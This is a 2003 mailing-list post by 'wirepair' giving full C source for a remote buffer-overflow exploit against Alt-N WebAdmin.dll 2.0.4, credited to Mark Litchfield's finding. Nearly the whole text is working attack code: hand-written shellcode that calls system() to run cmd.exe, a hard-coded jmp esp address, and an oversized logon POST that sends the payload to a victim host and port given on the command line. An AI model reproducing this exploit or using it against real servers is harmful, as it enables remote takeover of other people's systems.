From: wirepair (wirepairroguemail.net)
Date: Tue Jun 24 2003 - 14:07:18 CDT

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werd to mark litchfield for finding this gem.
can also be downloaded from:
http://sh0dan.org/files/wa_exp.c

/* wa_exp.c
WebAdmin.dll remote proof of concept 2.0.4 version.. tried
finding 2.0.5 but all versions
were already patched from the dl sites... this was tested
on a win2ksp2 server, i suggest
using better shellcode this is just something i know
works, just opens a cmd.exe prompt
on the victim box. I imagine this won't be too much harder
to exploit with 2.0.5 unpatched
this took me about 1 hour to write and it was my first
remote win32 exploit, thank you alt-n :D.
word to Mark Litchfield for finding this, i suggest anyone
who is interested in learning win32
exploitation download this and attempt to exploit it, it's
easier than you think.
shouts to innercircle you little kittens you....
-wire
*/

#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib,"ws2_32")

char sc[] =
                                         "\x55" // push ebp
                                         "\x8b\xec" // mov ebp, esp
                                         "\x53" // push ebx
                                         "\x56" // push esi
                                         "\x57" // push edi
                                         "\x8b\xe5" // mov esp, ebp
                                         "\x55" // push ebp
                                         "\x8b\xec" // mov ebp, esp
                                         "\x33\xff" // xor edi,edi
                                         "\x57" // push edi
                                         "\x57" // push edi
                                         "\xc6\x45\xf8\x6d" // mov byte ptr ss:[ebp-8],6d
                                         "\xc6\x45\xf9\x73" // mov byte ptr ss:[ebp-7],73
                                         "\xc6\x45\xfa\x76" // mov byte ptr ss:[ebp-6],76
                                         "\xc6\x45\xfb\x63" // mov byte ptr ss:[ebp-5],63
                                         "\xc6\x45\xfc\x72" // mov byte ptr ss:[ebp-4],72
                                         "\xc6\x45\xfd\x74" // mov byte ptr ss:[ebp-3],74
                                         "\xb8\x54\xa2\xe8\x77" // mov
eax,kernel32.loadlibraryA;
                                         "\x50" // push eax
                                         "\x8d\x45\xf8" // lea eax, dword ptr ss:[ebp-8]
                                         "\x50" // push eax
                                         "\xff\x55\xf4" // call dword ptr ss:[ebp-c]
                                         "\x58" // pop eax
                                         "\x58" // pop eax
                                         "\x58" // pop eax
                                         "\x33\xc0" // xor eax,eax
                                         "\x50" // push eax
                                         "\x50" // push eax
                                         "\xc6\x45\xf8\x63" // mov byte ptr ss:[ebp-8],63
                                         "\xc6\x45\xf9\x6d" // mov byte ptr ss:[ebp-7],6d
                                         "\xc6\x45\xfa\x64" // mov byte ptr ss:[ebp-6],64
                                         "\xc6\x45\xfb\x2e" // mov byte ptr ss:[ebp-5],2e
                                         "\xc6\x45\xfc\x65" // mov byte ptr ss:[ebp-4],65
                                         "\xc6\x45\xfd\x78" // mov byte ptr ss:[ebp-3],78
                                         "\xc6\x45\xfe\x65" // mov byte ptr ss:[ebp-2],65
                                         "\xb8\x4a\x9B\x01\x78" // mov eax, 78019b4a; addy
of system() from msvcrt win2ksp2
                                         "\x50" // push eax
                                         "\x8d\x45\xf8" // lea eax, dword ptr ss:[ebp-8]
                                         "\x50" // push eax
                                         "\xff\x55\xf4" // call dword ptr ss:[ebp-c]
                                         "\x83\xc4\x04" // add esp, 04h
                                         "\x5c" // pop esp
                                         "\xc3"; // ret we're done!

struct sockaddr_in victim;
int main(int argc, char **argv) {
        SOCKET s;
        WSADATA wsadata;
        int x;
        DWORD jmpesp = 0x1005d58d; // jmp esp from 2.0.4
webAdmin.dll...
        char exp_buf[5000];
        char boom[] =
                "POST /WebAdmin.dll?View=Logon HTTP/1.1\r\n"
                "Accept: image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, application/x-shockwave-flash, */*\r\n"
                "Accept-Language: en-us\r\n"
                "Content-Type: application/x-www-form-urlencoded\r\n"
                "Accept-Encoding: gzip, deflate\r\n"
                "User-Agent: Your Mom\r\n"
                "Host: sh0dan.org\r\n"
                "Content-Length: 395\r\n"
                "Connection: Keep-Alive\r\n"
                "Cache-Control: no-cache\r\n"
                "Cookie: User=test; Lang=en;
Theme=Standard\r\n\r\nUser=";
        char o_args[] =
                "&Password=foo&languageselect=en&Theme=Heavy&Logon=Sign+In\r\n\r\n";
        
     if (argc != 3) {
                 fprintf(stderr, "WebAdmin from Alt-N
2.0.4 Remote Exploit Proof Of Concept\n");
                 fprintf(stderr, "Werd to Mark Litchfield
for finding this easily exploited hole\n");
                 fprintf(stderr, "Usage: %s <victim>
<port>\n", argv[0]);
                 exit(1);
         }

        WSAStartup(MAKEWORD(2,0),&wsadata);
        victim.sin_port = htons(atoi(argv[2]));
        victim.sin_addr.s_addr = inet_addr(argv[1]);
        victim.sin_family = AF_INET;

        memset(exp_buf, 0x90, 5000);
        x = strlen(boom);
        strncpy(exp_buf, boom, x);
        x += 168;

        memcpy(exp_buf+x, &jmpesp, 4);
        x += 4;
        memcpy(exp_buf+x, sc, strlen(sc));
        x += strlen(sc);
        memcpy(exp_buf+x, o_args, strlen(o_args));
        x += strlen(o_args);
        exp_buf[x+1] = 0x00;

        s = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
        connect(s, (struct sockaddr *)&victim, sizeof(victim));
        send(s, exp_buf, x, 0);
     
        printf("booyah");
        return(0);
}
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